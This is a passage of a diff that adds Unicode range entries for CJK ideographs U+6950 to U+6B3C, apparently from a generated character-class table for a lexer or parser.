+ ["\u6950", "\u6950"], /* CJK Ideograph */
+ ["\u6951", "\u6951"], /* CJK Ideograph */
+ ["\u6952", "\u6952"], /* CJK Ideograph */
+ ["\u6953", "\u6953"], /* CJK Ideograph */
+ ["\u6954", "\u6954"], /* CJK Ideograph */
+ ["\u6955", "\u6955"], /* CJK Ideograph */
+ ["\u6956", "\u6956"], /* CJK Ideograph */
+ ["\u6957", "\u6957"], /* CJK Ideograph */
+ ["\u6958", "\u6958"], /* CJK Ideograph */
+ ["\u6959", "\u6959"], /* CJK Ideograph */
+ ["\u695A", "\u695A"], /* CJK Ideograph */
+ ["\u695B", "\u695B"], /* CJK Ideograph */
+ ["\u695C", "\u695C"], /* CJK Ideograph */
+ ["\u695D", "\u695D"], /* CJK Ideograph */
+ ["\u695E", "\u695E"], /* CJK Ideograph */
+ ["\u695F", "\u695F"], /* CJK Ideograph */
+ ["\u6960", "\u6960"], /* CJK Ideograph */
+ ["\u6961", "\u6961"], /* CJK Ideograph */
+ ["\u6962", "\u6962"], /* CJK Ideograph */
+ ["\u6963", "\u6963"], /* CJK Ideograph */
+ ["\u6964", "\u6964"], /* CJK Ideograph */
+ ["\u6965", "\u6965"], /* CJK Ideograph */
+ ["\u6966", "\u6966"], /* CJK Ideograph */
+ ["\u6967", "\u6967"], /* CJK Ideograph */
+ ["\u6968", "\u6968"], /* CJK Ideograph */
+ ["\u6969", "\u6969"], /* CJK Ideograph */
+ ["\u696A", "\u696A"], /* CJK Ideograph */
+ ["\u696B", "\u696B"], /* CJK Ideograph */
+ ["\u696C", "\u696C"], /* CJK Ideograph */
+ ["\u696D", "\u696D"], /* CJK Ideograph */
+ ["\u696E", "\u696E"], /* CJK Ideograph */
+ ["\u696F", "\u696F"], /* CJK Ideograph */
+ ["\u6970", "\u6970"], /* CJK Ideograph */
+ ["\u6971", "\u6971"], /* CJK Ideograph */
+ ["\u6972", "\u6972"], /* CJK Ideograph */
+ ["\u6973", "\u6973"], /* CJK Ideograph */
+ ["\u6974", "\u6974"], /* CJK Ideograph */
+ ["\u6975", "\u6975"], /* CJK Ideograph */
+ ["\u6976", "\u6976"], /* CJK Ideograph */
+ ["\u6977", "\u6977"], /* CJK Ideograph */
+ ["\u6978", "\u6978"], /* CJK Ideograph */
+ ["\u6979", "\u6979"], /* CJK Ideograph */
+ ["\u697A", "\u697A"], /* CJK Ideograph */
+ ["\u697B", "\u697B"], /* CJK Ideograph */
+ ["\u697C", "\u697C"], /* CJK Ideograph */
+ ["\u697D", "\u697D"], /* CJK Ideograph */
+ ["\u697E", "\u697E"], /* CJK Ideograph */
+ ["\u697F", "\u697F"], /* CJK Ideograph */
+ ["\u6980", "\u6980"], /* CJK Ideograph */
+ ["\u6981", "\u6981"], /* CJK Ideograph */
+ ["\u6982", "\u6982"], /* CJK Ideograph */
+ ["\u6983", "\u6983"], /* CJK Ideograph */
+ ["\u6984", "\u6984"], /* CJK Ideograph */
+ ["\u6985", "\u6985"], /* CJK Ideograph */
+ ["\u6986", "\u6986"], /* CJK Ideograph */
+ ["\u6987", "\u6987"], /* CJK Ideograph */
+ ["\u6988", "\u6988"], /* CJK Ideograph */
+ ["\u6989", "\u6989"], /* CJK Ideograph */
+ ["\u698A", "\u698A"], /* CJK Ideograph */
+ ["\u698B", "\u698B"], /* CJK Ideograph */
+ ["\u698C", "\u698C"], /* CJK Ideograph */
+ ["\u698D", "\u698D"], /* CJK Ideograph */
+ ["\u698E", "\u698E"], /* CJK Ideograph */
+ ["\u698F", "\u698F"], /* CJK Ideograph */
+ ["\u6990", "\u6990"], /* CJK Ideograph */
+ ["\u6991", "\u6991"], /* CJK Ideograph */
+ ["\u6992", "\u6992"], /* CJK Ideograph */
+ ["\u6993", "\u6993"], /* CJK Ideograph */
+ ["\u6994", "\u6994"], /* CJK Ideograph */
+ ["\u6995", "\u6995"], /* CJK Ideograph */
+ ["\u6996", "\u6996"], /* CJK Ideograph */
+ ["\u6997", "\u6997"], /* CJK Ideograph */
+ ["\u6998", "\u6998"], /* CJK Ideograph */
+ ["\u6999", "\u6999"], /* CJK Ideograph */
+ ["\u699A", "\u699A"], /* CJK Ideograph */
+ ["\u699B", "\u699B"], /* CJK Ideograph */
+ ["\u699C", "\u699C"], /* CJK Ideograph */
+ ["\u699D", "\u699D"], /* CJK Ideograph */
+ ["\u699E", "\u699E"], /* CJK Ideograph */
+ ["\u699F", "\u699F"], /* CJK Ideograph */
+ ["\u69A0", "\u69A0"], /* CJK Ideograph */
+ ["\u69A1", "\u69A1"], /* CJK Ideograph */
+ ["\u69A2", "\u69A2"], /* CJK Ideograph */
+ ["\u69A3", "\u69A3"], /* CJK Ideograph */
+ ["\u69A4", "\u69A4"], /* CJK Ideograph */
+ ["\u69A5", "\u69A5"], /* CJK Ideograph */
+ ["\u69A6", "\u69A6"], /* CJK Ideograph */
+ ["\u69A7", "\u69A7"], /* CJK Ideograph */
+ ["\u69A8", "\u69A8"], /* CJK Ideograph */
+ ["\u69A9", "\u69A9"], /* CJK Ideograph */
+ ["\u69AA", "\u69AA"], /* CJK Ideograph */
+ ["\u69AB", "\u69AB"], /* CJK Ideograph */
+ ["\u69AC", "\u69AC"], /* CJK Ideograph */
+ ["\u69AD", "\u69AD"], /* CJK Ideograph */
+ ["\u69AE", "\u69AE"], /* CJK Ideograph */
+ ["\u69AF", "\u69AF"], /* CJK Ideograph */
+ ["\u69B0", "\u69B0"], /* CJK Ideograph */
+ ["\u69B1", "\u69B1"], /* CJK Ideograph */
+ ["\u69B2", "\u69B2"], /* CJK Ideograph */
+ ["\u69B3", "\u69B3"], /* CJK Ideograph */
+ ["\u69B4", "\u69B4"], /* CJK Ideograph */
+ ["\u69B5", "\u69B5"], /* CJK Ideograph */
+ ["\u69B6", "\u69B6"], /* CJK Ideograph */
+ ["\u69B7", "\u69B7"], /* CJK Ideograph */
+ ["\u69B8", "\u69B8"], /* CJK Ideograph */
+ ["\u69B9", "\u69B9"], /* CJK Ideograph */
+ ["\u69BA", "\u69BA"], /* CJK Ideograph */
+ ["\u69BB", "\u69BB"], /* CJK Ideograph */
+ ["\u69BC", "\u69BC"], /* CJK Ideograph */
+ ["\u69BD", "\u69BD"], /* CJK Ideograph */
+ ["\u69BE", "\u69BE"], /* CJK Ideograph */
+ ["\u69BF", "\u69BF"], /* CJK Ideograph */
+ ["\u69C0", "\u69C0"], /* CJK Ideograph */
+ ["\u69C1", "\u69C1"], /* CJK Ideograph */
+ ["\u69C2", "\u69C2"], /* CJK Ideograph */
+ ["\u69C3", "\u69C3"], /* CJK Ideograph */
+ ["\u69C4", "\u69C4"], /* CJK Ideograph */
+ ["\u69C5", "\u69C5"], /* CJK Ideograph */
+ ["\u69C6", "\u69C6"], /* CJK Ideograph */
+ ["\u69C7", "\u69C7"], /* CJK Ideograph */
+ ["\u69C8", "\u69C8"], /* CJK Ideograph */
+ ["\u69C9", "\u69C9"], /* CJK Ideograph */
+ ["\u69CA", "\u69CA"], /* CJK Ideograph */
+ ["\u69CB", "\u69CB"], /* CJK Ideograph */
+ ["\u69CC", "\u69CC"], /* CJK Ideograph */
+ ["\u69CD", "\u69CD"], /* CJK Ideograph */
+ ["\u69CE", "\u69CE"], /* CJK Ideograph */
+ ["\u69CF", "\u69CF"], /* CJK Ideograph */
+ ["\u69D0", "\u69D0"], /* CJK Ideograph */
+ ["\u69D1", "\u69D1"], /* CJK Ideograph */
+ ["\u69D2", "\u69D2"], /* CJK Ideograph */
+ ["\u69D3", "\u69D3"], /* CJK Ideograph */
+ ["\u69D4", "\u69D4"], /* CJK Ideograph */
+ ["\u69D5", "\u69D5"], /* CJK Ideograph */
+ ["\u69D6", "\u69D6"], /* CJK Ideograph */
+ ["\u69D7", "\u69D7"], /* CJK Ideograph */
+ ["\u69D8", "\u69D8"], /* CJK Ideograph */
+ ["\u69D9", "\u69D9"], /* CJK Ideograph */
+ ["\u69DA", "\u69DA"], /* CJK Ideograph */
+ ["\u69DB", "\u69DB"], /* CJK Ideograph */
+ ["\u69DC", "\u69DC"], /* CJK Ideograph */
+ ["\u69DD", "\u69DD"], /* CJK Ideograph */
+ ["\u69DE", "\u69DE"], /* CJK Ideograph */
+ ["\u69DF", "\u69DF"], /* CJK Ideograph */
+ ["\u69E0", "\u69E0"], /* CJK Ideograph */
+ ["\u69E1", "\u69E1"], /* CJK Ideograph */
+ ["\u69E2", "\u69E2"], /* CJK Ideograph */
+ ["\u69E3", "\u69E3"], /* CJK Ideograph */
+ ["\u69E4", "\u69E4"], /* CJK Ideograph */
+ ["\u69E5", "\u69E5"], /* CJK Ideograph */
+ ["\u69E6", "\u69E6"], /* CJK Ideograph */
+ ["\u69E7", "\u69E7"], /* CJK Ideograph */
+ ["\u69E8", "\u69E8"], /* CJK Ideograph */
+ ["\u69E9", "\u69E9"], /* CJK Ideograph */
+ ["\u69EA", "\u69EA"], /* CJK Ideograph */
+ ["\u69EB", "\u69EB"], /* CJK Ideograph */
+ ["\u69EC", "\u69EC"], /* CJK Ideograph */
+ ["\u69ED", "\u69ED"], /* CJK Ideograph */
+ ["\u69EE", "\u69EE"], /* CJK Ideograph */
+ ["\u69EF", "\u69EF"], /* CJK Ideograph */
+ ["\u69F0", "\u69F0"], /* CJK Ideograph */
+ ["\u69F1", "\u69F1"], /* CJK Ideograph */
+ ["\u69F2", "\u69F2"], /* CJK Ideograph */
+ ["\u69F3", "\u69F3"], /* CJK Ideograph */
+ ["\u69F4", "\u69F4"], /* CJK Ideograph */
+ ["\u69F5", "\u69F5"], /* CJK Ideograph */
+ ["\u69F6", "\u69F6"], /* CJK Ideograph */
+ ["\u69F7", "\u69F7"], /* CJK Ideograph */
+ ["\u69F8", "\u69F8"], /* CJK Ideograph */
+ ["\u69F9", "\u69F9"], /* CJK Ideograph */
+ ["\u69FA", "\u69FA"], /* CJK Ideograph */
+ ["\u69FB", "\u69FB"], /* CJK Ideograph */
+ ["\u69FC", "\u69FC"], /* CJK Ideograph */
+ ["\u69FD", "\u69FD"], /* CJK Ideograph */
+ ["\u69FE", "\u69FE"], /* CJK Ideograph */
+ ["\u69FF", "\u69FF"], /* CJK Ideograph */
+ ["\u6A00", "\u6A00"], /* CJK Ideograph */
+ ["\u6A01", "\u6A01"], /* CJK Ideograph */
+ ["\u6A02", "\u6A02"], /* CJK Ideograph */
+ ["\u6A03", "\u6A03"], /* CJK Ideograph */
+ ["\u6A04", "\u6A04"], /* CJK Ideograph */
+ ["\u6A05", "\u6A05"], /* CJK Ideograph */
+ ["\u6A06", "\u6A06"], /* CJK Ideograph */
+ ["\u6A07", "\u6A07"], /* CJK Ideograph */
+ ["\u6A08", "\u6A08"], /* CJK Ideograph */
+ ["\u6A09", "\u6A09"], /* CJK Ideograph */
+ ["\u6A0A", "\u6A0A"], /* CJK Ideograph */
+ ["\u6A0B", "\u6A0B"], /* CJK Ideograph */
+ ["\u6A0C", "\u6A0C"], /* CJK Ideograph */
+ ["\u6A0D", "\u6A0D"], /* CJK Ideograph */
+ ["\u6A0E", "\u6A0E"], /* CJK Ideograph */
+ ["\u6A0F", "\u6A0F"], /* CJK Ideograph */
+ ["\u6A10", "\u6A10"], /* CJK Ideograph */
+ ["\u6A11", "\u6A11"], /* CJK Ideograph */
+ ["\u6A12", "\u6A12"], /* CJK Ideograph */
+ ["\u6A13", "\u6A13"], /* CJK Ideograph */
+ ["\u6A14", "\u6A14"], /* CJK Ideograph */
+ ["\u6A15", "\u6A15"], /* CJK Ideograph */
+ ["\u6A16", "\u6A16"], /* CJK Ideograph */
+ ["\u6A17", "\u6A17"], /* CJK Ideograph */
+ ["\u6A18", "\u6A18"], /* CJK Ideograph */
+ ["\u6A19", "\u6A19"], /* CJK Ideograph */
+ ["\u6A1A", "\u6A1A"], /* CJK Ideograph */
+ ["\u6A1B", "\u6A1B"], /* CJK Ideograph */
+ ["\u6A1C", "\u6A1C"], /* CJK Ideograph */
+ ["\u6A1D", "\u6A1D"], /* CJK Ideograph */
+ ["\u6A1E", "\u6A1E"], /* CJK Ideograph */
+ ["\u6A1F", "\u6A1F"], /* CJK Ideograph */
+ ["\u6A20", "\u6A20"], /* CJK Ideograph */
+ ["\u6A21", "\u6A21"], /* CJK Ideograph */
+ ["\u6A22", "\u6A22"], /* CJK Ideograph */
+ ["\u6A23", "\u6A23"], /* CJK Ideograph */
+ ["\u6A24", "\u6A24"], /* CJK Ideograph */
+ ["\u6A25", "\u6A25"], /* CJK Ideograph */
+ ["\u6A26", "\u6A26"], /* CJK Ideograph */
+ ["\u6A27", "\u6A27"], /* CJK Ideograph */
+ ["\u6A28", "\u6A28"], /* CJK Ideograph */
+ ["\u6A29", "\u6A29"], /* CJK Ideograph */
+ ["\u6A2A", "\u6A2A"], /* CJK Ideograph */
+ ["\u6A2B", "\u6A2B"], /* CJK Ideograph */
+ ["\u6A2C", "\u6A2C"], /* CJK Ideograph */
+ ["\u6A2D", "\u6A2D"], /* CJK Ideograph */
+ ["\u6A2E", "\u6A2E"], /* CJK Ideograph */
+ ["\u6A2F", "\u6A2F"], /* CJK Ideograph */
+ ["\u6A30", "\u6A30"], /* CJK Ideograph */
+ ["\u6A31", "\u6A31"], /* CJK Ideograph */
+ ["\u6A32", "\u6A32"], /* CJK Ideograph */
+ ["\u6A33", "\u6A33"], /* CJK Ideograph */
+ ["\u6A34", "\u6A34"], /* CJK Ideograph */
+ ["\u6A35", "\u6A35"], /* CJK Ideograph */
+ ["\u6A36", "\u6A36"], /* CJK Ideograph */
+ ["\u6A37", "\u6A37"], /* CJK Ideograph */
+ ["\u6A38", "\u6A38"], /* CJK Ideograph */
+ ["\u6A39", "\u6A39"], /* CJK Ideograph */
+ ["\u6A3A", "\u6A3A"], /* CJK Ideograph */
+ ["\u6A3B", "\u6A3B"], /* CJK Ideograph */
+ ["\u6A3C", "\u6A3C"], /* CJK Ideograph */
+ ["\u6A3D", "\u6A3D"], /* CJK Ideograph */
+ ["\u6A3E", "\u6A3E"], /* CJK Ideograph */
+ ["\u6A3F", "\u6A3F"], /* CJK Ideograph */
+ ["\u6A40", "\u6A40"], /* CJK Ideograph */
+ ["\u6A41", "\u6A41"], /* CJK Ideograph */
+ ["\u6A42", "\u6A42"], /* CJK Ideograph */
+ ["\u6A43", "\u6A43"], /* CJK Ideograph */
+ ["\u6A44", "\u6A44"], /* CJK Ideograph */
+ ["\u6A45", "\u6A45"], /* CJK Ideograph */
+ ["\u6A46", "\u6A46"], /* CJK Ideograph */
+ ["\u6A47", "\u6A47"], /* CJK Ideograph */
+ ["\u6A48", "\u6A48"], /* CJK Ideograph */
+ ["\u6A49", "\u6A49"], /* CJK Ideograph */
+ ["\u6A4A", "\u6A4A"], /* CJK Ideograph */
+ ["\u6A4B", "\u6A4B"], /* CJK Ideograph */
+ ["\u6A4C", "\u6A4C"], /* CJK Ideograph */
+ ["\u6A4D", "\u6A4D"], /* CJK Ideograph */
+ ["\u6A4E", "\u6A4E"], /* CJK Ideograph */
+ ["\u6A4F", "\u6A4F"], /* CJK Ideograph */
+ ["\u6A50", "\u6A50"], /* CJK Ideograph */
+ ["\u6A51", "\u6A51"], /* CJK Ideograph */
+ ["\u6A52", "\u6A52"], /* CJK Ideograph */
+ ["\u6A53", "\u6A53"], /* CJK Ideograph */
+ ["\u6A54", "\u6A54"], /* CJK Ideograph */
+ ["\u6A55", "\u6A55"], /* CJK Ideograph */
+ ["\u6A56", "\u6A56"], /* CJK Ideograph */
+ ["\u6A57", "\u6A57"], /* CJK Ideograph */
+ ["\u6A58", "\u6A58"], /* CJK Ideograph */
+ ["\u6A59", "\u6A59"], /* CJK Ideograph */
+ ["\u6A5A", "\u6A5A"], /* CJK Ideograph */
+ ["\u6A5B", "\u6A5B"], /* CJK Ideograph */
+ ["\u6A5C", "\u6A5C"], /* CJK Ideograph */
+ ["\u6A5D", "\u6A5D"], /* CJK Ideograph */
+ ["\u6A5E", "\u6A5E"], /* CJK Ideograph */
+ ["\u6A5F", "\u6A5F"], /* CJK Ideograph */
+ ["\u6A60", "\u6A60"], /* CJK Ideograph */
+ ["\u6A61", "\u6A61"], /* CJK Ideograph */
+ ["\u6A62", "\u6A62"], /* CJK Ideograph */
+ ["\u6A63", "\u6A63"], /* CJK Ideograph */
+ ["\u6A64", "\u6A64"], /* CJK Ideograph */
+ ["\u6A65", "\u6A65"], /* CJK Ideograph */
+ ["\u6A66", "\u6A66"], /* CJK Ideograph */
+ ["\u6A67", "\u6A67"], /* CJK Ideograph */
+ ["\u6A68", "\u6A68"], /* CJK Ideograph */
+ ["\u6A69", "\u6A69"], /* CJK Ideograph */
+ ["\u6A6A", "\u6A6A"], /* CJK Ideograph */
+ ["\u6A6B", "\u6A6B"], /* CJK Ideograph */
+ ["\u6A6C", "\u6A6C"], /* CJK Ideograph */
+ ["\u6A6D", "\u6A6D"], /* CJK Ideograph */
+ ["\u6A6E", "\u6A6E"], /* CJK Ideograph */
+ ["\u6A6F", "\u6A6F"], /* CJK Ideograph */
+ ["\u6A70", "\u6A70"], /* CJK Ideograph */
+ ["\u6A71", "\u6A71"], /* CJK Ideograph */
+ ["\u6A72", "\u6A72"], /* CJK Ideograph */
+ ["\u6A73", "\u6A73"], /* CJK Ideograph */
+ ["\u6A74", "\u6A74"], /* CJK Ideograph */
+ ["\u6A75", "\u6A75"], /* CJK Ideograph */
+ ["\u6A76", "\u6A76"], /* CJK Ideograph */
+ ["\u6A77", "\u6A77"], /* CJK Ideograph */
+ ["\u6A78", "\u6A78"], /* CJK Ideograph */
+ ["\u6A79", "\u6A79"], /* CJK Ideograph */
+ ["\u6A7A", "\u6A7A"], /* CJK Ideograph */
+ ["\u6A7B", "\u6A7B"], /* CJK Ideograph */
+ ["\u6A7C", "\u6A7C"], /* CJK Ideograph */
+ ["\u6A7D", "\u6A7D"], /* CJK Ideograph */
+ ["\u6A7E", "\u6A7E"], /* CJK Ideograph */
+ ["\u6A7F", "\u6A7F"], /* CJK Ideograph */
+ ["\u6A80", "\u6A80"], /* CJK Ideograph */
+ ["\u6A81", "\u6A81"], /* CJK Ideograph */
+ ["\u6A82", "\u6A82"], /* CJK Ideograph */
+ ["\u6A83", "\u6A83"], /* CJK Ideograph */
+ ["\u6A84", "\u6A84"], /* CJK Ideograph */
+ ["\u6A85", "\u6A85"], /* CJK Ideograph */
+ ["\u6A86", "\u6A86"], /* CJK Ideograph */
+ ["\u6A87", "\u6A87"], /* CJK Ideograph */
+ ["\u6A88", "\u6A88"], /* CJK Ideograph */
+ ["\u6A89", "\u6A89"], /* CJK Ideograph */
+ ["\u6A8A", "\u6A8A"], /* CJK Ideograph */
+ ["\u6A8B", "\u6A8B"], /* CJK Ideograph */
+ ["\u6A8C", "\u6A8C"], /* CJK Ideograph */
+ ["\u6A8D", "\u6A8D"], /* CJK Ideograph */
+ ["\u6A8E", "\u6A8E"], /* CJK Ideograph */
+ ["\u6A8F", "\u6A8F"], /* CJK Ideograph */
+ ["\u6A90", "\u6A90"], /* CJK Ideograph */
+ ["\u6A91", "\u6A91"], /* CJK Ideograph */
+ ["\u6A92", "\u6A92"], /* CJK Ideograph */
+ ["\u6A93", "\u6A93"], /* CJK Ideograph */
+ ["\u6A94", "\u6A94"], /* CJK Ideograph */
+ ["\u6A95", "\u6A95"], /* CJK Ideograph */
+ ["\u6A96", "\u6A96"], /* CJK Ideograph */
+ ["\u6A97", "\u6A97"], /* CJK Ideograph */
+ ["\u6A98", "\u6A98"], /* CJK Ideograph */
+ ["\u6A99", "\u6A99"], /* CJK Ideograph */
+ ["\u6A9A", "\u6A9A"], /* CJK Ideograph */
+ ["\u6A9B", "\u6A9B"], /* CJK Ideograph */
+ ["\u6A9C", "\u6A9C"], /* CJK Ideograph */
+ ["\u6A9D", "\u6A9D"], /* CJK Ideograph */
+ ["\u6A9E", "\u6A9E"], /* CJK Ideograph */
+ ["\u6A9F", "\u6A9F"], /* CJK Ideograph */
+ ["\u6AA0", "\u6AA0"], /* CJK Ideograph */
+ ["\u6AA1", "\u6AA1"], /* CJK Ideograph */
+ ["\u6AA2", "\u6AA2"], /* CJK Ideograph */
+ ["\u6AA3", "\u6AA3"], /* CJK Ideograph */
+ ["\u6AA4", "\u6AA4"], /* CJK Ideograph */
+ ["\u6AA5", "\u6AA5"], /* CJK Ideograph */
+ ["\u6AA6", "\u6AA6"], /* CJK Ideograph */
+ ["\u6AA7", "\u6AA7"], /* CJK Ideograph */
+ ["\u6AA8", "\u6AA8"], /* CJK Ideograph */
+ ["\u6AA9", "\u6AA9"], /* CJK Ideograph */
+ ["\u6AAA", "\u6AAA"], /* CJK Ideograph */
+ ["\u6AAB", "\u6AAB"], /* CJK Ideograph */
+ ["\u6AAC", "\u6AAC"], /* CJK Ideograph */
+ ["\u6AAD", "\u6AAD"], /* CJK Ideograph */
+ ["\u6AAE", "\u6AAE"], /* CJK Ideograph */
+ ["\u6AAF", "\u6AAF"], /* CJK Ideograph */
+ ["\u6AB0", "\u6AB0"], /* CJK Ideograph */
+ ["\u6AB1", "\u6AB1"], /* CJK Ideograph */
+ ["\u6AB2", "\u6AB2"], /* CJK Ideograph */
+ ["\u6AB3", "\u6AB3"], /* CJK Ideograph */
+ ["\u6AB4", "\u6AB4"], /* CJK Ideograph */
+ ["\u6AB5", "\u6AB5"], /* CJK Ideograph */
+ ["\u6AB6", "\u6AB6"], /* CJK Ideograph */
+ ["\u6AB7", "\u6AB7"], /* CJK Ideograph */
+ ["\u6AB8", "\u6AB8"], /* CJK Ideograph */
+ ["\u6AB9", "\u6AB9"], /* CJK Ideograph */
+ ["\u6ABA", "\u6ABA"], /* CJK Ideograph */
+ ["\u6ABB", "\u6ABB"], /* CJK Ideograph */
+ ["\u6ABC", "\u6ABC"], /* CJK Ideograph */
+ ["\u6ABD", "\u6ABD"], /* CJK Ideograph */
+ ["\u6ABE", "\u6ABE"], /* CJK Ideograph */
+ ["\u6ABF", "\u6ABF"], /* CJK Ideograph */
+ ["\u6AC0", "\u6AC0"], /* CJK Ideograph */
+ ["\u6AC1", "\u6AC1"], /* CJK Ideograph */
+ ["\u6AC2", "\u6AC2"], /* CJK Ideograph */
+ ["\u6AC3", "\u6AC3"], /* CJK Ideograph */
+ ["\u6AC4", "\u6AC4"], /* CJK Ideograph */
+ ["\u6AC5", "\u6AC5"], /* CJK Ideograph */
+ ["\u6AC6", "\u6AC6"], /* CJK Ideograph */
+ ["\u6AC7", "\u6AC7"], /* CJK Ideograph */
+ ["\u6AC8", "\u6AC8"], /* CJK Ideograph */
+ ["\u6AC9", "\u6AC9"], /* CJK Ideograph */
+ ["\u6ACA", "\u6ACA"], /* CJK Ideograph */
+ ["\u6ACB", "\u6ACB"], /* CJK Ideograph */
+ ["\u6ACC", "\u6ACC"], /* CJK Ideograph */
+ ["\u6ACD", "\u6ACD"], /* CJK Ideograph */
+ ["\u6ACE", "\u6ACE"], /* CJK Ideograph */
+ ["\u6ACF", "\u6ACF"], /* CJK Ideograph */
+ ["\u6AD0", "\u6AD0"], /* CJK Ideograph */
+ ["\u6AD1", "\u6AD1"], /* CJK Ideograph */
+ ["\u6AD2", "\u6AD2"], /* CJK Ideograph */
+ ["\u6AD3", "\u6AD3"], /* CJK Ideograph */
+ ["\u6AD4", "\u6AD4"], /* CJK Ideograph */
+ ["\u6AD5", "\u6AD5"], /* CJK Ideograph */
+ ["\u6AD6", "\u6AD6"], /* CJK Ideograph */
+ ["\u6AD7", "\u6AD7"], /* CJK Ideograph */
+ ["\u6AD8", "\u6AD8"], /* CJK Ideograph */
+ ["\u6AD9", "\u6AD9"], /* CJK Ideograph */
+ ["\u6ADA", "\u6ADA"], /* CJK Ideograph */
+ ["\u6ADB", "\u6ADB"], /* CJK Ideograph */
+ ["\u6ADC", "\u6ADC"], /* CJK Ideograph */
+ ["\u6ADD", "\u6ADD"], /* CJK Ideograph */
+ ["\u6ADE", "\u6ADE"], /* CJK Ideograph */
+ ["\u6ADF", "\u6ADF"], /* CJK Ideograph */
+ ["\u6AE0", "\u6AE0"], /* CJK Ideograph */
+ ["\u6AE1", "\u6AE1"], /* CJK Ideograph */
+ ["\u6AE2", "\u6AE2"], /* CJK Ideograph */
+ ["\u6AE3", "\u6AE3"], /* CJK Ideograph */
+ ["\u6AE4", "\u6AE4"], /* CJK Ideograph */
+ ["\u6AE5", "\u6AE5"], /* CJK Ideograph */
+ ["\u6AE6", "\u6AE6"], /* CJK Ideograph */
+ ["\u6AE7", "\u6AE7"], /* CJK Ideograph */
+ ["\u6AE8", "\u6AE8"], /* CJK Ideograph */
+ ["\u6AE9", "\u6AE9"], /* CJK Ideograph */
+ ["\u6AEA", "\u6AEA"], /* CJK Ideograph */
+ ["\u6AEB", "\u6AEB"], /* CJK Ideograph */
+ ["\u6AEC", "\u6AEC"], /* CJK Ideograph */
+ ["\u6AED", "\u6AED"], /* CJK Ideograph */
+ ["\u6AEE", "\u6AEE"], /* CJK Ideograph */
+ ["\u6AEF", "\u6AEF"], /* CJK Ideograph */
+ ["\u6AF0", "\u6AF0"], /* CJK Ideograph */
+ ["\u6AF1", "\u6AF1"], /* CJK Ideograph */
+ ["\u6AF2", "\u6AF2"], /* CJK Ideograph */
+ ["\u6AF3", "\u6AF3"], /* CJK Ideograph */
+ ["\u6AF4", "\u6AF4"], /* CJK Ideograph */
+ ["\u6AF5", "\u6AF5"], /* CJK Ideograph */
+ ["\u6AF6", "\u6AF6"], /* CJK Ideograph */
+ ["\u6AF7", "\u6AF7"], /* CJK Ideograph */
+ ["\u6AF8", "\u6AF8"], /* CJK Ideograph */
+ ["\u6AF9", "\u6AF9"], /* CJK Ideograph */
+ ["\u6AFA", "\u6AFA"], /* CJK Ideograph */
+ ["\u6AFB", "\u6AFB"], /* CJK Ideograph */
+ ["\u6AFC", "\u6AFC"], /* CJK Ideograph */
+ ["\u6AFD", "\u6AFD"], /* CJK Ideograph */
+ ["\u6AFE", "\u6AFE"], /* CJK Ideograph */
+ ["\u6AFF", "\u6AFF"], /* CJK Ideograph */
+ ["\u6B00", "\u6B00"], /* CJK Ideograph */
+ ["\u6B01", "\u6B01"], /* CJK Ideograph */
+ ["\u6B02", "\u6B02"], /* CJK Ideograph */
+ ["\u6B03", "\u6B03"], /* CJK Ideograph */
+ ["\u6B04", "\u6B04"], /* CJK Ideograph */
+ ["\u6B05", "\u6B05"], /* CJK Ideograph */
+ ["\u6B06", "\u6B06"], /* CJK Ideograph */
+ ["\u6B07", "\u6B07"], /* CJK Ideograph */
+ ["\u6B08", "\u6B08"], /* CJK Ideograph */
+ ["\u6B09", "\u6B09"], /* CJK Ideograph */
+ ["\u6B0A", "\u6B0A"], /* CJK Ideograph */
+ ["\u6B0B", "\u6B0B"], /* CJK Ideograph */
+ ["\u6B0C", "\u6B0C"], /* CJK Ideograph */
+ ["\u6B0D", "\u6B0D"], /* CJK Ideograph */
+ ["\u6B0E", "\u6B0E"], /* CJK Ideograph */
+ ["\u6B0F", "\u6B0F"], /* CJK Ideograph */
+ ["\u6B10", "\u6B10"], /* CJK Ideograph */
+ ["\u6B11", "\u6B11"], /* CJK Ideograph */
+ ["\u6B12", "\u6B12"], /* CJK Ideograph */
+ ["\u6B13", "\u6B13"], /* CJK Ideograph */
+ ["\u6B14", "\u6B14"], /* CJK Ideograph */
+ ["\u6B15", "\u6B15"], /* CJK Ideograph */
+ ["\u6B16", "\u6B16"], /* CJK Ideograph */
+ ["\u6B17", "\u6B17"], /* CJK Ideograph */
+ ["\u6B18", "\u6B18"], /* CJK Ideograph */
+ ["\u6B19", "\u6B19"], /* CJK Ideograph */
+ ["\u6B1A", "\u6B1A"], /* CJK Ideograph */
+ ["\u6B1B", "\u6B1B"], /* CJK Ideograph */
+ ["\u6B1C", "\u6B1C"], /* CJK Ideograph */
+ ["\u6B1D", "\u6B1D"], /* CJK Ideograph */
+ ["\u6B1E", "\u6B1E"], /* CJK Ideograph */
+ ["\u6B1F", "\u6B1F"], /* CJK Ideograph */
+ ["\u6B20", "\u6B20"], /* CJK Ideograph */
+ ["\u6B21", "\u6B21"], /* CJK Ideograph */
+ ["\u6B22", "\u6B22"], /* CJK Ideograph */
+ ["\u6B23", "\u6B23"], /* CJK Ideograph */
+ ["\u6B24", "\u6B24"], /* CJK Ideograph */
+ ["\u6B25", "\u6B25"], /* CJK Ideograph */
+ ["\u6B26", "\u6B26"], /* CJK Ideograph */
+ ["\u6B27", "\u6B27"], /* CJK Ideograph */
+ ["\u6B28", "\u6B28"], /* CJK Ideograph */
+ ["\u6B29", "\u6B29"], /* CJK Ideograph */
+ ["\u6B2A", "\u6B2A"], /* CJK Ideograph */
+ ["\u6B2B", "\u6B2B"], /* CJK Ideograph */
+ ["\u6B2C", "\u6B2C"], /* CJK Ideograph */
+ ["\u6B2D", "\u6B2D"], /* CJK Ideograph */
+ ["\u6B2E", "\u6B2E"], /* CJK Ideograph */
+ ["\u6B2F", "\u6B2F"], /* CJK Ideograph */
+ ["\u6B30", "\u6B30"], /* CJK Ideograph */
+ ["\u6B31", "\u6B31"], /* CJK Ideograph */
+ ["\u6B32", "\u6B32"], /* CJK Ideograph */
+ ["\u6B33", "\u6B33"], /* CJK Ideograph */
+ ["\u6B34", "\u6B34"], /* CJK Ideograph */
+ ["\u6B35", "\u6B35"], /* CJK Ideograph */
+ ["\u6B36", "\u6B36"], /* CJK Ideograph */
+ ["\u6B37", "\u6B37"], /* CJK Ideograph */
+ ["\u6B38", "\u6B38"], /* CJK Ideograph */
+ ["\u6B39", "\u6B39"], /* CJK Ideograph */
+ ["\u6B3A", "\u6B3A"], /* CJK Ideograph */
+ ["\u6B3B", "\u6B3B"], /* CJK Ideograph */
+ ["\u6B3C", "\u6B3C"], /* CJK Ideograph */
